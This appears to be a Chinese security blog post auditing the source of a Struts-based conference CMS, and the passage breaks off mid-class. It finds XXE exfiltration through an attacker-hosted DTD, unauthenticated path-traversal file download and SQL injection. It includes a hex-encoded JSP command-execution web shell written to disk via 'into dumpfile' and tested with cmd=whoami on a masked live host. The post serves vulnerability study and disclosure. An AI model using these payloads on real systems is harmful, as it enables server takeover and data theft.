因为学习java并不是很长时间,也没有做深入的研究。但是在学习之后,发现可以审计出一些简单的javaweb漏洞,所以想这这里和大家分享一下。0x01审计之初首先,我拿到了源码之后,大概看了一下这个系统的架构,发现是通过Struts写的。在具体看代码之前,我们先看一下这个会议系统有什么功能,在代码审计的时候,不能一股脑的先跑过去就看代码,我们要学会通过功能去找问题的缺陷。现在以**.**.**.**:8288/Conf/jsp/main/mainAction.do 这个站为测试案例。访问之后发现,只有列出了会议,登录,下载这些功能。其中会议进入需要密码,然后还有登录。但是无法注册用户,所以在这套系统中,我们应该去那种无需登录就可以利用的漏洞,如果要登录才能利用那就显得太鸡肋了。先通过常规的黑盒测试并没有发现漏洞(目前暴露出来的功能),下一步我们来审计源码。0x02 源码审计在审计javaweb的时候,我的第一步是去看web.xml这种配置文件,在这里里面配置了url的路由规则,severlet的配置,以及fitler的设置。其中fitler的作用就是某一后缀或者某一目录下的所以文件做一次拦截,一般就是用来验证那些需要登录的功能。Conf\WEB-INF\web.xml
requestfilter
**.**.**.**mon.RequestFilter
requestfilter
/*
1
2
3
4
5
6
7
8
requestfilter
**.**.**.**mon.RequestFilter
requestfilter
/*
这里设置了fitler,我们定位到**.**.**.**mon.RequestFilter
public class RequestFilter extends HttpServlet
implements Filter
{
private FilterConfig filterConfig;public void init(FilterConfig filterConfig)
throws ServletException
{
this.filterConfig = filterConfig;
}public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request, response);
} catch (ServletException sx) {
this.filterConfig.getServletContext().log(sx.getMessage());
} catch (IOException iox) {
this.filterConfig.getServletContext().log(iox.getMessage());
}
}public void destroy()
{
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
publicclassRequestFilterextendsHttpServlet
implementsFilter
{
privateFilterConfigfilterConfig;publicvoidinit(FilterConfigfilterConfig)
throwsServletException
{
this.filterConfig=filterConfig;
}publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,FilterChainfilterChain)
{
try
{
request.setCharacterEncoding("UTF-8");
filterChain.doFilter(request,response);
}catch(ServletExceptionsx){
this.filterConfig.getServletContext().log(sx.getMessage());
}catch(IOExceptioniox){
this.filterConfig.getServletContext().log(iox.getMessage());
}
}publicvoiddestroy()
{
}
}
这儿只是设置了一下页面编码为utf-8,然后继续下面操作,从这儿可以看出这个这个cms并没有通过fitler来做权限控制,这样就很有可能存在未授权的地方。继续看web.xml里面的内容
action
org.apache.struts.action.ActionServlet
config
/WEB-INF/struts-config.xml
debug
2
2
Apache-Axis Servlet
AxisServlet
org.apache.axis.transport.http.AxisServlet
proxoolAdmin
org.logicalcobwebs.proxool.admin.servlet.AdminServlet
action
*.do
AxisServlet
/servlet/AxisServlet
AxisServlet
*.jws
AxisServlet
/services/*
proxoolAdmin
/proxoolAdmin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
action
org.apache.struts.action.ActionServlet
config
/WEB-INF/struts-config.xml
debug
2
2
Apache-AxisServlet
AxisServlet
org.apache.axis.transport.http.AxisServlet
proxoolAdmin
org.logicalcobwebs.proxool.admin.servlet.AdminServlet
action
*.do
AxisServlet
/servlet/AxisServlet
AxisServlet
*.jws
AxisServlet
/services/*
proxoolAdmin
/proxoolAdmin
可以看出定义了proxoolAdmin servlet/AxisServlet /services/* 这些url路由,并且包含了/WEB-INF/struts-config.xml配置文件,让在这些url路由中发现
**.**.**.**:8288//Conf/servlet/AxisServlet
1
**.**.**.**:8288//Conf/servlet/AxisServlet
暴露了一些webservices的接口
**.**.**.**:8288/Conf/proxoolAdmin
1
**.**.**.**:8288/Conf/proxoolAdmin
数据库的一些信息
先看暴露出的webservices接口存在什么问题定位代码webapps\Conf\WEB-INF\classes\com\v2tech\cms\webservices\DeptWebService.class
public class DeptWebService
{
public String getWebServiceResult(int tradeCode, String xml, String webservicepass)
{
String rtn = "";ReadSystemConfig readSystem = new ReadSystemConfig();
if (!(readSystem.getWebservicespass().equals(webservicepass))) {
return "";
}
DepartmentWebServiceBiz deptBiz = new DepartmentWebServiceBiz();
switch (tradeCode)
{
case 100:
rtn = deptBiz.addDepartment(xml);
break;
case 200:
rtn = deptBiz.updateDepartment(xml);
break;
case 300:
rtn = deptBiz.deleteDepartment(xml);
}return rtn;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
publicclassDeptWebService
{
publicStringgetWebServiceResult(inttradeCode,Stringxml,Stringwebservicepass)
{
Stringrtn="";ReadSystemConfigreadSystem=newReadSystemConfig();
if(!(readSystem.getWebservicespass().equals(webservicepass))){
return"";
}
DepartmentWebServiceBizdeptBiz=newDepartmentWebServiceBiz();
switch(tradeCode)
{
case100:
rtn=deptBiz.addDepartment(xml);
break;
case200:
rtn=deptBiz.updateDepartment(xml);
break;
case300:
rtn=deptBiz.deleteDepartment(xml);
}returnrtn;
}
}
其中有个参数为xml,然后通过不同的tradeCode,将xml参数传入其他地方,跟入addDepartment方法
public String addDepartment(String xml)
{
Document document = null;
String deptName = "";
String deptDesc = "";
String thirdDeptid = "";
String thirdParentid = "";
String usernum = "";
String inaddress = "";
String deptorder = "";
String rtn = "";
try
{
document = loadXml(xml);
} catch (Exception e) {
return (rtn = "");
}
.........省略........
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
publicStringaddDepartment(Stringxml)
{
Documentdocument=null;
StringdeptName="";
StringdeptDesc="";
StringthirdDeptid="";
StringthirdParentid="";
Stringusernum="";
Stringinaddress="";
Stringdeptorder="";
Stringrtn="";
try
{
document=loadXml(xml);
}catch(Exceptione){
return(rtn="");
}
.........省略........
}
其中xml进入了loadXml函数,这儿可能存在xml实体注入。来测试一下。我这儿使用的是AWVS的webservices工具
**.**.**.**:8288/Conf/services/BroadcastWebservice?wsdl
1
**.**.**.**:8288/Conf/services/BroadcastWebservice?wsdl
直接注入实体发现报错了
我们将特殊字符进行实体html编码一次,因为在xml中是可以解析html编码后的数据,这里利用gopher协议来获取数据。先在vps上面新建一个ext.dtd内容如下
">
%int;
%trick;
1
2
3
4
5
">
%int;
%trick;
在vps上面监听你设置的端口然后在请求包处构造
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "你外部实体地址">
%xxe;
]>
1
2
3
4
5
<!DOCTYPEroot[
<!ENTITY%xxeSYSTEM"你外部实体地址">
%xxe;
]>
成功获取数据
其中可以发现这个getWebServiceResult方法在多个地方调用,在被调用的地方都存在xml实体注入包括
分析完xml实体注入之后,我们继续看代码,我们来看struts-config.xml中的配置(关于struts-config配置可以看http://**.**.**.**/panjun-Donet/articles/1181811.html),所以在这儿我们着重找scope为request,因为我们这样才好利用漏洞。通阅读代码发现这个cms是通过在每个class类中来判断用户是否登录,代码如下
HttpSession session = servletRequest.getSession();
if (session.getAttribute("userinfobean") == null) {
Utils utils = new Utils();
Cookie[] cookies = servletRequest.getCookies();
Locale locale = utils.setLocale(session, servletRequest, cookies);
session.setAttribute("org.apache.struts.action.LOCALE", locale);
return actionMapping.findForward("sessioninvalid");
}
1
2
3
4
5
6
7
8
HttpSessionsession=servletRequest.getSession();
if(session.getAttribute("userinfobean")==null){
Utilsutils=newUtils();
Cookie[]cookies=servletRequest.getCookies();
Localelocale=utils.setLocale(session,servletRequest,cookies);
session.setAttribute("org.apache.struts.action.LOCALE",locale);
returnactionMapping.findForward("sessioninvalid");
}
如果没有登录的话,就通过findForward方法到sessioninvalid,也在struts-config.xml中定义的
1
通过阅读代码发现几处没有存在以上代码的类,这也意味着可以无需登录来利用漏洞webapps\Conf\WEB-INF\classes\com\v2tech\cms\base\common\struts\DownloadAction.class
public class DownloadAction extends Action
{
public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response)
{
try
{
String rootfilepath = System.getProperty("catalina.home");
String dirpath = File.separator;
rootfilepath = rootfilepath + dirpath + ".." + dirpath + "Server";
String path = new String(rootfilepath + dirpath + new String(request.getParameter("path").getBytes("ISO8859-1"), "UTF-8"));File file = new File(path);
String filename = file.getName();String ext = filename.substring(filename.lastIndexOf(".") + 1).toUpperCase();InputStream fis = new BufferedInputStream(new FileInputStream(path));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();response.reset();
response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));response.addHeader("Content-Length", "" + file.length());
OutputStream toClient = new BufferedOutputStream(response.getOutputStream());if (ext.equals("DOC"))
response.setContentType("application/msword");
else {
response.setContentType("application/octet-stream");
}
toClient.write(buffer);
toClient.flush();
toClient.close();
} catch (IOException ex) {
ex.printStackTrace();
}
return null;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
publicclassDownloadActionextendsAction
{
publicActionForwardexecute(ActionMappingactionMapping,ActionFormactionForm,HttpServletRequestrequest,HttpServletResponseresponse)
{
try
{
Stringrootfilepath=System.getProperty("catalina.home");
Stringdirpath=File.separator;
rootfilepath=rootfilepath+dirpath+".."+dirpath+"Server";
Stringpath=newString(rootfilepath+dirpath+newString(request.getParameter("path").getBytes("ISO8859-1"),"UTF-8"));Filefile=newFile(path);
Stringfilename=file.getName();Stringext=filename.substring(filename.lastIndexOf(".")+1).toUpperCase();InputStreamfis=newBufferedInputStream(newFileInputStream(path));
byte[]buffer=newbyte[fis.available()];
fis.read(buffer);
fis.close();response.reset();
response.addHeader("Content-Disposition","attachment;filename="+newString(filename.getBytes()));response.addHeader("Content-Length",""+file.length());
OutputStreamtoClient=newBufferedOutputStream(response.getOutputStream());if(ext.equals("DOC"))
response.setContentType("application/msword");
else{
response.setContentType("application/octet-stream");
}
toClient.write(buffer);
toClient.flush();
toClient.close();
}catch(IOExceptionex){
ex.printStackTrace();
}
returnnull;
}
通过request.getParameter("path")获取path然后
InputStream fis = new BufferedInputStream(new FileInputStream(path));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();
1
2
3
4
InputStreamfis=newBufferedInputStream(newFileInputStream(path));
byte[]buffer=newbyte[fis.available()];
fis.read(buffer);
fis.close();
进行文件读取,然后下载。这是一个任意文件下载
**.**.**.**:8288/Conf/jsp/common/downloadAction.do?path=../management/webapps/root/index.jsp
1
**.**.**.**:8288/Conf/jsp/common/downloadAction.do?path=../management/webapps/root/index.jsp
\webapps\Conf\WEB-INF\classes\com\v2tech\cms\bulletin\struts\BulletinAction.class
public class BulletinAction extends BaseAction
{
public ActionForward systemBulletin(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
UserBean userBean = (UserBean)request.getSession().getAttribute("userinfobean");
if (request.getSession().getAttribute("userinfobean") == null) {
return mapping.findForward("sessioninvalid");
}saveToken(request);
PageBeans pb = null;String action = request.getParameter("action");
String currentPage = request.getParameter("currentPage");
if ((currentPage == null) || (currentPage.equals("null"))) {
currentPage = "1";
}int pageSize = 0;
BulletinManage bulletinmagege = new BulletinManage();
try {
pageSize = bulletinmagege.getRowNumber();
} catch (Exception e) {
e.printStackTrace();
}pb = new PageBeans(pageSize, 30);
String startend = pb.differentiatePlan(action, Integer.parseInt(currentPage));
String[] pages = startend.split(":");
String startPage = pages[0];
String endPage = pages[1];
List bulletin = bulletinmagege.getPages(Integer.parseInt(startPage), Integer.parseInt(endPage));
currentPage = pb.getCurrentPage();int number = (Integer.parseInt(currentPage) - 1) * 30;
request.setAttribute("result", bulletin);
request.setAttribute("page", pb);
request.setAttribute("currentPage", currentPage);
request.setAttribute("number", String.valueOf(number));
return mapping.findForward("allsysbulletin");
}public ActionForward details(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
String sysId = request.getParameter("sysId");
BulletinManage bulletinBiz = new BulletinManage();
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
if (sysTable != null) {
sysTable.setContent(Utils.htmlConversion(sysTable.getContent()));
sysTable.setTheme(Utils.htmlConversion(sysTable.getTheme()));
}
request.setAttribute("details", sysTable);
return mapping.findForward("details");
}public ActionForward delete(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
throws SQLException
{
BulletinManage bulletinBiz = new BulletinManage();
String sysId = request.getParameter("sysId");
bulletinBiz.deleteDate(sysId);
String currentPage = request.getParameter("page");
String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage;
return new ActionForward(forword);
}public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinBiz = new BulletinManage();
String sysId = request.getParameter("sysId");
String page = request.getParameter("page");
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
request.setAttribute("modify", sysTable);
request.setAttribute("page", page);
return mapping.findForward("modify");
}public ActionForward state(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinBiz = new BulletinManage();
BulletinActionForm bulletinActionForm = (BulletinActionForm)form;
String sysId = bulletinActionForm.getSysId();
String indexId = request.getParameter("indexId");
request.setAttribute("indexId", indexId);
String state = bulletinActionForm.getState();
bulletinActionForm.setNotemeans("state");
SystembulletinTable sysTable = new SystembulletinTable();
try {
sysTable.setIdCondition(sysId);
sysTable.selectRecord();
sysTable.setState(state);
bulletinBiz.saveData(sysTable);
} catch (SQLException e) {
e.printStackTrace();
}
String currentPage = request.getParameter("page");
String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage;
return new ActionForward(forword);
}public ActionForward operation(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinActionForm bulletinActionForm = (BulletinActionForm)form;
SystembulletinTable sysBulletinTable = new SystembulletinTable();
BulletinManage bulletinBiz = new BulletinManage();
String sysId = bulletinActionForm.getSysId();
String theme = bulletinActionForm.getTheme();
theme = theme.trim();if (theme.length() > 128) {
theme = theme.substring(0, 127);
}
String indexId = request.getParameter("indexId");
request.setAttribute("indexId", indexId);
String content = "";
content = bulletinActionForm.getContent();
if (content.length() > 512) {
content = content.substring(0, 512);
}
String operation = request.getParameter("operation");
if (operation.equalsIgnoreCase("return")) {
return mapping.findForward("return");
}if (sysId != null)
{
sysBulletinTable.setId(sysId);
}
sysBulletinTable.setTheme(theme);
sysBulletinTable.setContent(content);if (!(isTokenValid(request))) {
saveToken(request);
return mapping.findForward("bulletin");
}
try {
String result = bulletinBiz.saveData(sysBulletinTable);
if (result.equals(""))
return mapping.findForward("bulletin");
}
catch (Exception e) {
e.printStackTrace();
}
if (BulletinManage.iForward != 0) {
BulletinManage.iForward = 0;
return mapping.findForward("bulletin");
}
String currentPage = request.getParameter("page");
String forword = "/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage=" + currentPage;
return new ActionForward(forword);
}public ActionForward showIndexList(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinManage = new BulletinManage();
Vector vector = new Vector();
try {
vector = bulletinManage.showBulletin();
} catch (Exception e) {
log.error("未取到公告信息,请检查数据库配置是否正确!");
}
request.setAttribute("vector", vector);
return mapping.findForward("sysBulletin");
}public ActionForward ajax(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
String sysId = request.getParameter("sysId");
BulletinManage bulletinBiz = new BulletinManage();
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
PrintWriter out = null;
try {
out = response.getWriter();if (sysTable == null)
out.print(0);
else
out.print(1);
}
catch (IOException e) {
e.printStackTrace();
} finally {
if (out != null) {
out.close();
out = null;
}
}
return null;
}public ActionForward getNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BufferedReader br = null;
PrintWriter out = null;
try {
request.setCharacterEncoding("UTF-8");
response.setContentType("Content-Type:text/html;charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.setHeader("Charset", "UTF-8");
out = response.getWriter();
String path = request.getSession().getServletContext().getRealPath("../../../Server/ml.config");
String managerUrl = null;
String beginStr = "";
String endStr = "";
managerUrl = new Utils().getMasterIp(path, beginStr, endStr);
String contextpath = request.getContextPath();
URL url = new URL(managerUrl + contextpath + "/jsp/systembulletin/bulletinAction.do?operator=getMasterNews");
InputStream in = url.openStream();
br = new BufferedReader(new InputStreamReader(in, "UTF-8"));
String str = br.readLine();
out.write(str);
} catch (Exception e) {
out.write("0");
log.error("[getNews]: throws Exception!", e);
} finally {
try {
if (br != null) {
br.close();
br = null;
}
} catch (IOException e) {
br = null;
} finally {
if (out != null) {
out.close();
out = null;
}
}
}
return null;
}public ActionForward getMasterNews(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
PrintWriter out = null;
try {
request.setCharacterEncoding("UTF-8");
response.setContentType("Content-Type:text/html;charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.setHeader("Charset", "UTF-8");
out = response.getWriter();
int in = new BulletinManage().getMasterNews();
out.write(in + "");
} catch (Exception e) {
out.write("0");
log.error("[getMasterNews]: throws Exception!", e);
} finally {
if (out != null) {
out.close();
out = null;
}
}
return null;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
publicclassBulletinActionextendsBaseAction
{
publicActionForwardsystemBulletin(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
UserBeanuserBean=(UserBean)request.getSession().getAttribute("userinfobean");
if(request.getSession().getAttribute("userinfobean")==null){
returnmapping.findForward("sessioninvalid");
}saveToken(request);
PageBeanspb=null;Stringaction=request.getParameter("action");
StringcurrentPage=request.getParameter("currentPage");
if((currentPage==null)||(currentPage.equals("null"))){
currentPage="1";
}intpageSize=0;
BulletinManagebulletinmagege=newBulletinManage();
try{
pageSize=bulletinmagege.getRowNumber();
}catch(Exceptione){
e.printStackTrace();
}pb=newPageBeans(pageSize,30);
Stringstartend=pb.differentiatePlan(action,Integer.parseInt(currentPage));
String[]pages=startend.split(":");
StringstartPage=pages[0];
StringendPage=pages[1];
Listbulletin=bulletinmagege.getPages(Integer.parseInt(startPage),Integer.parseInt(endPage));
currentPage=pb.getCurrentPage();intnumber=(Integer.parseInt(currentPage)-1)*30;
request.setAttribute("result",bulletin);
request.setAttribute("page",pb);
request.setAttribute("currentPage",currentPage);
request.setAttribute("number",String.valueOf(number));
returnmapping.findForward("allsysbulletin");
}publicActionForwarddetails(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
StringsysId=request.getParameter("sysId");
BulletinManagebulletinBiz=newBulletinManage();
SystembulletinTablesysTable=bulletinBiz.getSysBulletinTable(sysId);
if(sysTable!=null){
sysTable.setContent(Utils.htmlConversion(sysTable.getContent()));
sysTable.setTheme(Utils.htmlConversion(sysTable.getTheme()));
}
request.setAttribute("details",sysTable);
returnmapping.findForward("details");
}publicActionForwarddelete(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
throwsSQLException
{
BulletinManagebulletinBiz=newBulletinManage();
StringsysId=request.getParameter("sysId");
bulletinBiz.deleteDate(sysId);
StringcurrentPage=request.getParameter("page");
Stringforword="/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage="+currentPage;
returnnewActionForward(forword);
}publicActionForwardmodify(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
BulletinManagebulletinBiz=newBulletinManage();
StringsysId=request.getParameter("sysId");
Stringpage=request.getParameter("page");
SystembulletinTablesysTable=bulletinBiz.getSysBulletinTable(sysId);
request.setAttribute("modify",sysTable);
request.setAttribute("page",page);
returnmapping.findForward("modify");
}publicActionForwardstate(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
BulletinManagebulletinBiz=newBulletinManage();
BulletinActionFormbulletinActionForm=(BulletinActionForm)form;
StringsysId=bulletinActionForm.getSysId();
StringindexId=request.getParameter("indexId");
request.setAttribute("indexId",indexId);
Stringstate=bulletinActionForm.getState();
bulletinActionForm.setNotemeans("state");
SystembulletinTablesysTable=newSystembulletinTable();
try{
sysTable.setIdCondition(sysId);
sysTable.selectRecord();
sysTable.setState(state);
bulletinBiz.saveData(sysTable);
}catch(SQLExceptione){
e.printStackTrace();
}
StringcurrentPage=request.getParameter("page");
Stringforword="/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage="+currentPage;
returnnewActionForward(forword);
}publicActionForwardoperation(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
BulletinActionFormbulletinActionForm=(BulletinActionForm)form;
SystembulletinTablesysBulletinTable=newSystembulletinTable();
BulletinManagebulletinBiz=newBulletinManage();
StringsysId=bulletinActionForm.getSysId();
Stringtheme=bulletinActionForm.getTheme();
theme=theme.trim();if(theme.length()>128){
theme=theme.substring(0,127);
}
StringindexId=request.getParameter("indexId");
request.setAttribute("indexId",indexId);
Stringcontent="";
content=bulletinActionForm.getContent();
if(content.length()>512){
content=content.substring(0,512);
}
Stringoperation=request.getParameter("operation");
if(operation.equalsIgnoreCase("return")){
returnmapping.findForward("return");
}if(sysId!=null)
{
sysBulletinTable.setId(sysId);
}
sysBulletinTable.setTheme(theme);
sysBulletinTable.setContent(content);if(!(isTokenValid(request))){
saveToken(request);
returnmapping.findForward("bulletin");
}
try{
Stringresult=bulletinBiz.saveData(sysBulletinTable);
if(result.equals(""))
returnmapping.findForward("bulletin");
}
catch(Exceptione){
e.printStackTrace();
}
if(BulletinManage.iForward!=0){
BulletinManage.iForward=0;
returnmapping.findForward("bulletin");
}
StringcurrentPage=request.getParameter("page");
Stringforword="/jsp/systembulletin/bulletinAction.do?operator=systemBulletin¤tPage="+currentPage;
returnnewActionForward(forword);
}publicActionForwardshowIndexList(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
BulletinManagebulletinManage=newBulletinManage();
Vectorvector=newVector();
try{
vector=bulletinManage.showBulletin();
}catch(Exceptione){
log.error("未取到公告信息,请检查数据库配置是否正确!");
}
request.setAttribute("vector",vector);
returnmapping.findForward("sysBulletin");
}publicActionForwardajax(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
StringsysId=request.getParameter("sysId");
BulletinManagebulletinBiz=newBulletinManage();
SystembulletinTablesysTable=bulletinBiz.getSysBulletinTable(sysId);
PrintWriterout=null;
try{
out=response.getWriter();if(sysTable==null)
out.print(0);
else
out.print(1);
}
catch(IOExceptione){
e.printStackTrace();
}finally{
if(out!=null){
out.close();
out=null;
}
}
returnnull;
}publicActionForwardgetNews(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
BufferedReaderbr=null;
PrintWriterout=null;
try{
request.setCharacterEncoding("UTF-8");
response.setContentType("Content-Type:text/html;charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.setHeader("Charset","UTF-8");
out=response.getWriter();
Stringpath=request.getSession().getServletContext().getRealPath("../../../Server/ml.config");
StringmanagerUrl=null;
StringbeginStr="";
StringendStr="";
managerUrl=newUtils().getMasterIp(path,beginStr,endStr);
Stringcontextpath=request.getContextPath();
URLurl=newURL(managerUrl+contextpath+"/jsp/systembulletin/bulletinAction.do?operator=getMasterNews");
InputStreamin=url.openStream();
br=newBufferedReader(newInputStreamReader(in,"UTF-8"));
Stringstr=br.readLine();
out.write(str);
}catch(Exceptione){
out.write("0");
log.error("[getNews]: throws Exception!",e);
}finally{
try{
if(br!=null){
br.close();
br=null;
}
}catch(IOExceptione){
br=null;
}finally{
if(out!=null){
out.close();
out=null;
}
}
}
returnnull;
}publicActionForwardgetMasterNews(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
PrintWriterout=null;
try{
request.setCharacterEncoding("UTF-8");
response.setContentType("Content-Type:text/html;charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.setHeader("Charset","UTF-8");
out=response.getWriter();
intin=newBulletinManage().getMasterNews();
out.write(in+"");
}catch(Exceptione){
out.write("0");
log.error("[getMasterNews]: throws Exception!",e);
}finally{
if(out!=null){
out.close();
out=null;
}
}
returnnull;
}
在这个类中只有systemBulletin方法验证了是否登录,其他的方法都没验证。然后在这个类中又存在多个sql注入。由于这套系统默认是tomcat+mysql这样的架构,其中web路径是不变化的,而且使用mysql的root用户,所以直接可以通过sql注入来getshell。其中details方法,已经在http://**.**.**.**/bugs/wooyun-2010-0143276提交过了下面我以modify方法为例
public ActionForward modify(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
BulletinManage bulletinBiz = new BulletinManage();
String sysId = request.getParameter("sysId");
String page = request.getParameter("page");
SystembulletinTable sysTable = bulletinBiz.getSysBulletinTable(sysId);
request.setAttribute("modify", sysTable);
request.setAttribute("page", page);
return mapping.findForward("modify");
}
1
2
3
4
5
6
7
8
9
10
publicActionForwardmodify(ActionMappingmapping,ActionFormform,HttpServletRequestrequest,HttpServletResponseresponse)
{
BulletinManagebulletinBiz=newBulletinManage();
StringsysId=request.getParameter("sysId");
Stringpage=request.getParameter("page");
SystembulletinTablesysTable=bulletinBiz.getSysBulletinTable(sysId);
request.setAttribute("modify",sysTable);
request.setAttribute("page",page);
returnmapping.findForward("modify");
}
通过 request.getParameter获取sysId然后进入bulletinBiz.getSysBulletinTable
public SystembulletinTable getSysBulletinTable(String sysId)
{
SystembulletinTable sysTable = new SystembulletinTable();
try {
sysTable.setIdCondition(sysId);if (!(sysTable.selectRecord()))
sysTable = null;
}
catch (SQLException e) {
e.printStackTrace();
}
return sysTable;
}
1
2
3
4
5
6
7
8
9
10
11
12
publicSystembulletinTablegetSysBulletinTable(StringsysId)
{
SystembulletinTablesysTable=newSystembulletinTable();
try{
sysTable.setIdCondition(sysId);if(!(sysTable.selectRecord()))
sysTable=null;
}
catch(SQLExceptione){
e.printStackTrace();
}
returnsysTable;
}
然后进入了sql之中。
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 5
1
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1orderby5
返回正常
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 order by 6
1
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1orderby6
返回为空,确定为五个字段。然后就可以直接写shell了。构造
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 UNION SELECT 1,2,3,4,0x3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253E0D0A3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207D200D0A6F75742E7072696E746C6E286F7574707574293B253E into dumpfile '../../management/webapps/root/test.jsp'%23
1
**.**.**.**:8288/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1UNIONSELECT1,2,3,4,0x3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253E0D0A3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207D200D0A6F75742E7072696E746C6E286F7574707574293B253Eintodumpfile'../../management/webapps/root/test.jsp'%23
成功生成**.**.**.**:8288/test.jsp?cmd=whoami
webapps\Conf\WEB-INF\classes\com\v2tech\cms\user\struts\DeleteDeptAction.classpackage com.v2tech.cms.user.struts;
public class DeleteDeptAction extends Action
{
public ActionForward execute(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest servletRequest, HttpServletResponse servletResponse)
{
int deptid = Integer.parseInt(servletRequest.getParameter("deptid"));
